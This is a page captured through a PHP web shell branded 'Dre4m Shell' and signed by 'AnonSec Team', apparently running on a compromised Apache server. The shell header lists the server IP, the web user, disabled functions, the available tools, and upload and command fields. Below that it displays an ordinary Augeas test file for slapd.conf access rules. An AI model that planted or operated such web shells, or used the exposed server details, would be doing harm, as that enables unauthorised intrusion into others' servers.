Dre4m Shell
Server IP : 85.214.239.14  /  Your IP : 3.138.101.51
Web Server : Apache/2.4.62 (Debian)
System : Linux h2886529.stratoserver.net 4.9.0 #1 SMP Tue Jan 9 19:45:01 MSK 2024 x86_64
User : www-data ( 33)
PHP Version : 7.4.18
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : OFF  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /proc/self/root/proc/2/cwd/proc/self/root/usr/share/augeas/lenses/dist/tests/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /proc/self/root/proc/2/cwd/proc/self/root/usr/share/augeas/lenses/dist/tests/test_slapd.aug
module Test_slapd =

let conf = "# This is the main slapd configuration file. See slapd.conf(5) for more
# info on the configuration options.

#######################################################################
# Global Directives:

# Features to permit
#allow bind_v2

# Schema and objectClass definitions
include         /etc/ldap/schema/core.schema

#######################################################################
# Specific Directives for database #1, of type hdb:
# Database specific directives apply to this databasse until another
# 'database' directive occurs
database        hdb

# The base of your directory in database #1
suffix          \"dc=nodomain\"

access to attrs=userPassword,shadowLastChange
        by dn=\"cn=admin,dc=nodomain\" write
        by anonymous auth
        by self write
        by * none
"

test Slapd.lns get conf =
  { "#comment" = "This is the main slapd configuration file. See slapd.conf(5) for more" }
  { "#comment" = "info on the configuration options." }
  {}
  { "#comment" = "######################################################################" }
  { "#comment" = "Global Directives:"}
  {}
  { "#comment" = "Features to permit" }
  { "#comment" = "allow bind_v2" }
  {}
  { "#comment" = "Schema and objectClass definitions" }
  { "include"  = "/etc/ldap/schema/core.schema" }
  {}
  { "#comment" = "######################################################################" }
  { "#comment" = "Specific Directives for database #1, of type hdb:" }
  { "#comment" = "Database specific directives apply to this databasse until another" }
  { "#comment" = "'database' directive occurs" }
  { "database" = "hdb"
     {}
     { "#comment" = "The base of your directory in database #1" }
     { "suffix"   = "dc=nodomain" }
     {}
     { "access to" = "attrs=userPassword,shadowLastChange"
        { "by" = "dn=\"cn=admin,dc=nodomain\""
           { "access" = "write" } }
        { "by" = "anonymous"
           { "access" = "auth" } }
        { "by" = "self"
           { "access" = "write" } }
        { "by" = "*"
           { "access" = "none" } } } }

(* Test: Slapd.lns
     Full access test with who/access/control *)
test Slapd.lns get "access to dn.subtree=\"dc=example,dc=com\"
  by self write stop\n" =
  { "access to" = "dn.subtree=\"dc=example,dc=com\""
    { "by" = "self"
      { "access" = "write" }
      { "control" = "stop" } } }

(* Test: Slapd.lns
     access test with who *)
test Slapd.lns get "access to dn.subtree=\"dc=example,dc=com\"
  by self\n" =
  { "access to" = "dn.subtree=\"dc=example,dc=com\""
    { "by" = "self" } }

(* Test: Slapd.lns
     access test with who/access *)
test Slapd.lns get "access to dn.subtree=\"dc=example,dc=com\"
  by self write\n" =
  { "access to" = "dn.subtree=\"dc=example,dc=com\""
    { "by" = "self"
      { "access" = "write" } } }

(* Test: Slapd.lns
     access test with who/control *)
test Slapd.lns get "access to dn.subtree=\"dc=example,dc=com\"
  by self stop\n" =
  { "access to" = "dn.subtree=\"dc=example,dc=com\""
    { "by" = "self"
      { "control" = "stop" } } }


Anon7 - 2022
AnonSec Team